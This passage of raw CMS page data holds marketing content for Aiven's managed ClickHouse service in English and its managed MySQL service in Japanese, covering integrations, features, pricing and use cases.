bank"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"22d90f1f8e70","_type":"link","href":"https://aiven.io/docs/products/clickhouse/concepts/clickhouse-tiered-storage"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft","ytId":"h-UzBvsZlFI"},{"_key":"cc13a6c715fa88fe7bf8d12a5803da64","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"7a8dade8808b","_type":"block","children":[{"_key":"28a5f9695dc50","_type":"span","marks":["89b005ebe26f"],"text":"Access Aiven for Apache Kafka® data"},{"_key":"28a5f9695dc51","_type":"span","marks":[],"text":" easily with built-in integration"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"89b005ebe26f","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/integrate-kafka"}],"style":"normal"},{"_key":"0aab5800b02f","_type":"block","children":[{"_key":"0035a0c2a0950","_type":"span","marks":["d72a901bb6d5"],"text":"Integrate with Aiven for PostgreSQL®"},{"_key":"0035a0c2a0951","_type":"span","marks":[],"text":" for federated queries, without transferring data"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d72a901bb6d5","_type":"link","href":"https://aiven.io/docs/products/postgresql/get-started"}],"style":"normal"},{"_key":"2a2c83202d82","_type":"block","children":[{"_key":"c8a24a5a37b00","_type":"span","marks":["73b8b22913a1"],"text":"Integrate as a data source for Aiven for Grafana®"},{"_key":"c8a24a5a37b01","_type":"span","marks":[],"text":" for visualizations"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"73b8b22913a1","_type":"link","href":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-to-grafana"}],"style":"normal"},{"_key":"96298217a633","_type":"block","children":[{"_key":"72fe2943aefa0","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"72fe2943aefa1","_type":"span","marks":["8d4f5a6bd40b"],"text":"VPC peering"},{"_key":"72fe2943aefa2","_type":"span","marks":[],"text":", "},{"_key":"72fe2943aefa3","_type":"span","marks":["bc9fe5be41af"],"text":"PrivateLink"},{"_key":"72fe2943aefa4","_type":"span","marks":[],"text":" or TransitGateway technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8d4f5a6bd40b","_type":"link","href":"https://help.aiven.io/en/articles/778836-using-virtual-private-cloud-vpc-peering"},{"_key":"bc9fe5be41af","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"}],"style":"normal"},{"_key":"e8c844eaf8a3","_type":"block","children":[{"_key":"6ca16b2842d70","_type":"span","marks":["80c2d319d7fe"],"text":"Integrate"},{"_key":"edd5f47b88bb","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use Aiven observability tools for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"80c2d319d7fe","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight","ytId":"PKJHv9xAdW8"},{"_key":"2f45bbe0b7154a58a9e0a4c19baf398f","_type":"textVideo","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":true,"rounded":false,"tagline":"Control","text":[{"_key":"208570a915b9","_type":"block","children":[{"_key":"8355f5cb53a40","_type":"span","marks":[],"text":"Manage your ClickHouse cluster using Aiven Console (GUI), CLI or "},{"_key":"8355f5cb53a41","_type":"span","marks":["01d961661b8c"],"text":"Terraform"},{"_key":"8355f5cb53a42","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"01d961661b8c","_type":"link","href":"https://aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"0b7f864c85a6","_type":"block","children":[{"_key":"19595f2415ef0","_type":"span","marks":[],"text":"Scale, fork databases, integrate to other services with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f7c134da85d","_type":"block","children":[{"_key":"ed8f2b791fe50","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e93075e5837","_type":"block","children":[{"_key":"03616a10e61b0","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft","ytId":"3lGfdjZkJkY"},{"_key":"5220483273a8df7aa029dab84befd95e","_type":"textVideo","addSpaceBottom":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"noSpaceBottom":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"4fc4386d7389","_type":"block","children":[{"_key":"d3c371436f820","_type":"span","marks":[],"text":"Self-healing platform with 99.99% uptime - and zero downtime during management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46b45201b8b2","_type":"block","children":[{"_key":"7b706ad04fb90","_type":"span","marks":[],"text":"Automatic daily backups, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"82790d3ff08a","_type":"block","children":[{"_key":"24590485530c0","_type":"span","marks":["97e858de1a0f"],"text":"Secure and compliant solution"},{"_key":"7a5b0cd1a3ce","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"97e858de1a0f","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"},{"_key":"9927a1aa697f","_type":"block","children":[{"_key":"fe21322f0ab3","_type":"span","marks":[],"text":"100% human support 24/7"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9c6bb385d30a","_type":"block","children":[{"_key":"da8c1522d9900","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0e31c3a20293","_type":"block","children":[{"_key":"747cad0af16e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight","ytId":"HZFNlKerddE"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"5f006d1153ad7f7bc35130a4981aca8f","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},"subtitle":[{"_key":"f88929e88d82","_type":"block","children":[{"_key":"0c5d9e4d3617","_type":"span","marks":[],"text":"All-inclusive ClickHouse pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available. Spin up clusters and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"ce2d69e275e6","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"b690e92c2189","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"2897d955914d","_ref":"0b77eaf5-e527-4e87-b5cf-f8162e087aee","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=clickhouse\u0026tab=plan-comparison","title":"Show me the plans"},"subtitle":[{"_key":"89c17d995e3a","_type":"block","children":[{"_key":"e63ef79368480","_type":"span","marks":[],"text":"With prices starting at just $190 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime – at no extra cost."}],"markDefs":[],"style":"normal"}],"title":"Find the right plan","variant":"default"}],"rounded":false,"subtitle":[{"_key":"e948566cc4f3","_type":"block","children":[{"_key":"4aa0a5c8a0e80","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available. Spin up clusters and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"ClickHouse® pricing: Pay only for what you use."},{"_key":"cf168a4da3de","_type":"cardList","align":"center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"44dddcb79740","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"},{"_key":"7a7d9ead8ac8","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"f5f0f121b5cb","_ref":"62vXvKS09GfFbkC0gY6xvu","_type":"reference"}],"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for ClickHouse"}],"infoBannerPosition":"top","seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® – fully managed, maintenance-free data warehouse ✓ All-in-one open source cloud data platform ✓ Try it for free","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7cb654e3bf4266fe0c49bb751b8f9e482d576554-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for ClickHouse®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed ClickHouse, ClickHouse as a Service, Cloud ClickHouse\",\n \"description\": \"Fully managed ClickHouse - high performance columnar OLAP database worldwide, hosted on Google Cloud Platform and Amazon Web Services.\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/clickhouse\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source database\",\n \"applicationSubCategory\": \"Columnar Database Management System\"\n}","metaTitle":"Managed ClickHouse database | Aiven"},"service":{"_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},"slug":{"_type":"slug","current":"/clickhouse"},"title":"Clickhouse"} {"__i18n_base":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-30T19:49:05Z","_id":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2__i18n_ja","_rev":"Y34ePYFQ489qDVybEJm9Mr","_type":"product","_updatedAt":"2024-03-25T14:30:29Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for MySQL","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"4825bccd9c61","_type":"block","children":[{"_key":"5b9f61dd0e410","_type":"span","marks":[],"text":"フルマネージドホスティングのMySQLをお好みのクラウドにデプロイし、直感的なクラウドデータプラットフォームで必要なすべての統合機能を利用できます。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-f1c2b209fe50b7a45543188e4e8e5e60318cc038-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/mysql","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for MySQL","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2__i18n_ja","_type":"reference"},"title":"Aiven for MySQL"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for MySQL"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"14e2deed3bab","_type":"block","children":[{"_key":"e2edfbda379d0","_type":"span","marks":[],"text":"Aiven for MySQLで高度なアプリケーションを構築"}],"markDefs":[],"style":"h3"},{"_key":"9c0b2567a599","_type":"block","children":[{"_key":"cbf81d63286c0","_type":"span","marks":[],"text":"Aivenは、人気と信頼性の高いオープンソースのリレーショナルデータベースMySQLをフルマネージドサービスとして提供し、ご希望のクラウドにデプロイすることが可能です。ミッションクリティカルなアプリケーション、ダイナミックなWebサイト、または組み込みデータベースとしてご利用いただけます。"}],"markDefs":[],"style":"normal"},{"_key":"bf73aeddf220","_type":"block","children":[{"_key":"ac8f83f25b700","_type":"span","marks":[],"text":"Aivenのプラットフォームでは、MySQLを他のサービスとボタンをクリックするだけで簡単に接続することができます。Datadog、Prometheus、AWS CloudWatch、Elasticsearchなどのツールや、Aiven for M3、Aiven for Grafana®、Aiven for OpenSearch®などのサービスと簡単に連携し、監視やログを強化することが可能です。"}],"markDefs":[],"style":"normal"},{"_key":"601c6ecf5ca3","_type":"block","children":[{"_key":"928b08ff82510","_type":"span","marks":[],"text":"ディザスタリカバリや地理的な近接性のためにデータを他のリージョンやクラウドに複製したり、マルチクラウドアーキテクチャを構築したりすることができます。標準の高可用性プランでも、1台または2台のスタンバイノードが付属しており、これらは自動読み取りレプリカとしても機能します。"}],"markDefs":[],"style":"normal"},{"_key":"7bc7cfd0030f","_type":"block","children":[{"_key":"8a7cc2e845d50","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"a8625d17ba3f","_type":"block","children":[{"_key":"647e795ec876","_type":"span","marks":["874338a74e20"],"text":"MySQLとは?(ブログ)"}],"markDefs":[{"_key":"874338a74e20","_type":"internalLink","internalLink":{"_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"}}],"style":"normal"},{"_key":"430323578813","_type":"block","children":[{"_key":"aa1826ae12e41","_type":"span","marks":["691f5a1883ce"],"text":"Aiven for MySQL(ドキュメント)"}],"markDefs":[{"_key":"691f5a1883ce","_type":"link","href":"https://aiven.io/docs/products/mysql"}],"style":"normal"}]}],"subtitle":[{"_key":"a8466b2e6b7b","_type":"block","children":[{"_key":"76e2e1b0243f0","_type":"span","marks":[],"text":"Aivenでは、Webコンソールから直接、またはAPI、CLI、Terraformを使用して、10分以内にフルマネージドMySQLを稼動させることが可能です。Aivenのスタンバイノードは自動的にリードレプリカとして機能し、異なるクラウドやリージョンにリードレプリカを作成することもでき、マルチクラウドアーキテクチャの構築も可能です。また、ポイントインタイムリカバリー(PITR)により、選択した保存期間内の任意の時点にデータを復元することができます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for MySQLでできること","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"7a42a1b1fb27","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"mysql"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1aec9567c7d7","_type":"block","children":[{"_key":"0a869348c8f20","_type":"span","marks":[],"text":"クラスタにメンテナンスアップデートやバージョンアップを適用することに時間を取られていませんか。Aivenのダッシュボードから、これらの操作をワンクリックで実行できます。中断やダウンタイムが発生することはありません。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災害です。その災害を防ぐため、Aivenは99.99%のアップタイムを実現しました。さらに、必要な際には、サポートチームのスタッフに問い合わせることができます。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム - 100%サポート要員によるサポート"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for MySQLの価格には、すべてが含まれています。一括払いで、ネットワークからデータストレージなどにかかるコストがすべて含まれています。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性が高い価格設定 - ネットワークコストは不要"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9add0d2514e6","_type":"block","children":[{"_key":"fa9cf86255710","_type":"span","marks":[],"text":"ストレージ容量を増やす、クラスタを増やす、新しいリージョンを拡張する等、Aiven for MySQLではかつてないほど簡単に実現できます。"}],"markDefs":[],"style":"normal"}],"title":"必要に応じてスケールアップ、スケールダウンが可能"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"ec92bebebecd","_type":"block","children":[{"_key":"7a323ddc20a10","_type":"span","marks":[],"text":"データベースのセットアップや保守点検に丸一日を費やしたいと思う人はいないでしょう。また、セキュリティパッチのインストールやアップグレード、スケールアップに伴う不具合の確認にも時間がかかります。"}],"markDefs":[],"style":"normal"},{"_key":"994126ef4c95","_type":"block","children":[{"_key":"19f2d2075ccd0","_type":"span","marks":[],"text":"AivenのホスティングおよびマネージドMySQLであれば、クリック数回でクラスタを起動できるため、DBの管理に時間を取られることなく、コーディングに集中することができます。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for MySQLサービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"91f7f32bd526","_type":"block","children":[{"_key":"aaca6948d78b0","_type":"span","marks":[],"text":"MySQLは、eコマースプラットフォームで最も一般的なトランザクションエンジンの1つです。トランザクション、顧客データ、製品カタログの管理に非常に便利です。MySQLは、注文データの同期や製品以外のデータの保存のために、ドキュメントやキーバリューストアなど、他の非リレーショナルデータベースと組み合わせて使用されることもよくあります。"}],"markDefs":[],"style":"normal"}],"title":"eコマースアプリケーション","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"2c94c178f2c0","_type":"block","children":[{"_key":"67feb4224f130","_type":"span","marks":[],"text":"ACID原則に準拠したシンプルで軽量なリレーショナルデータベースであるMySQLは、多くのWebアプリケーションにとって理想的な選択肢です。MySQLは、世界で最も広く使用されているオープンソースデータベースで、多くの熟練した開発者が使用していることから、その機能を拡張するサードパーティツールも多数提供されています。"}],"markDefs":[],"style":"normal"}],"title":"シンプルな Web アプリケーションおよび Web サイト","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"a7dbafeef1e4","_type":"block","children":[{"_key":"c6762c29d2c10","_type":"span","marks":[],"text":"教育機関では、eラーニングやアプリケーションの評価から授業料の支払い処理システムまで、さまざまなデータベースアプリケーションを活用しています。MySQLは実績のある選択肢であり、教育および管理プロセスの多くを自動化するために広く使用されています。また、カリキュラムや研究機関の科学者が使用する最も一般的なデータベースの1つでもあります。"}],"markDefs":[],"style":"normal"}],"title":"教育機関向けアプリケーション","variant":"icon-card"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるMySQLの活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=mysql","title":"プランを見る"},"subtitle":[{"_key":"95a27a00e171","_type":"block","children":[{"_key":"1cb76faa66cd0","_type":"span","marks":[],"text":"月額0ドルからスタートし、価格は、ノード数とストレージ要件に応じて変わります。時間単位の課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"},{"_key":"3dd6648cf516","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"MySQLの無料プランを開始する"},"subtitle":[{"_key":"ff931d1f4d75","_type":"block","children":[{"_key":"a708296be4de0","_type":"span","marks":[],"text":"MySQLの無料プランには、仮想マシン1台、バックアップ、ネットワークが含まれています。コミュニティによるサポートを受けることができます。"}],"markDefs":[],"style":"normal"}],"title":"無料プランを開始する","variant":"default"}],"rounded":false,"subtitle":[{"_key":"4e7a654762c7","_type":"block","children":[{"_key":"92339d93c98e0","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。プライベートネットワーク(VPC)、シングルテナント、高い可溶性のマルチAZを利用できます。必要なときにクラスタとリージョンをスピンアップし、不要なときにシャットダウンできます。"}],"markDefs":[],"style":"normal"}],"tagline":"料金プラン","title":"価格 - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐ最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-744734608a7e307a55580485d57f1b13c50fbd99-3552x2266-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"セットアップ","text":[{"_key":"b4ac5443ec94","_type":"block","children":[{"_key":"c6ca5c66d8c40","_type":"span","marks":[],"text":"10分で本番環境にMySQLクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"47b5df99bd3a","_type":"block","children":[{"_key":"9acae0d08bbe0","_type":"span","marks":[],"text":"ご希望のクラウドにデプロイ可能 - 5つのパブリッククラウドと100以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"efa6c185c371","_type":"block","children":[{"_key":"da9c1aa3587a0","_type":"span","marks":[],"text":"厳選されたインスタンスタイプとストレージオプションに基づく高性能クラスタ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"563f51667075","_type":"block","children":[{"_key":"bcf9d701be2f","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"2495dd5bb3351","_type":"span","marks":["235f2d35211d"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"2495dd5bb3352","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"235f2d35211d","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft"},{"_key":"8ecd2b037fbc5f55ffbbc94a4cf3e21b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-82a73be70526e8cb9711ce603644ca2eda7bd9c2-2332x1994-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"接続","text":[{"_key":"2fa619ca0371","_type":"block","children":[{"_key":"98a21e5d93b50","_type":"span","marks":["3f678d6b2080"],"text":"VPC peering"},{"_key":"98a21e5d93b51","_type":"span","marks":[],"text":"、"},{"_key":"98a21e5d93b52","_type":"span","marks":["31c665a25d66"],"text":"PrivateLink"},{"_key":"98a21e5d93b53","_type":"span","marks":[],"text":"または"},{"_key":"98a21e5d93b54","_type":"span","marks":["853117a27d5d"],"text":"TransitGateway"},{"_key":"98a21e5d93b55","_type":"span","marks":[],"text":"テクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3f678d6b2080","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"31c665a25d66","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"853117a27d5d","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"0af650463e10","_type":"block","children":[{"_key":"3723c140060f0","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"d9d30d4c7d11","_type":"span","marks":["9c0f963803cd"],"text":"統合"},{"_key":"6b31bf02c864","_type":"span","marks":[],"text":"したり、"},{"_key":"3723c140060f3","_type":"span","marks":["e5cf5d4e887b"],"text":"Aivenの可観測性ツール"},{"_key":"3723c140060f4","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e5cf5d4e887b","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"},{"_key":"9c0f963803cd","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"85be1d9d9d27","_type":"block","children":[{"_key":"c1950c5a19060","_type":"span","marks":[],"text":"ディザスタリカバリや地理的な近接性のために、異なるクラウドやリージョ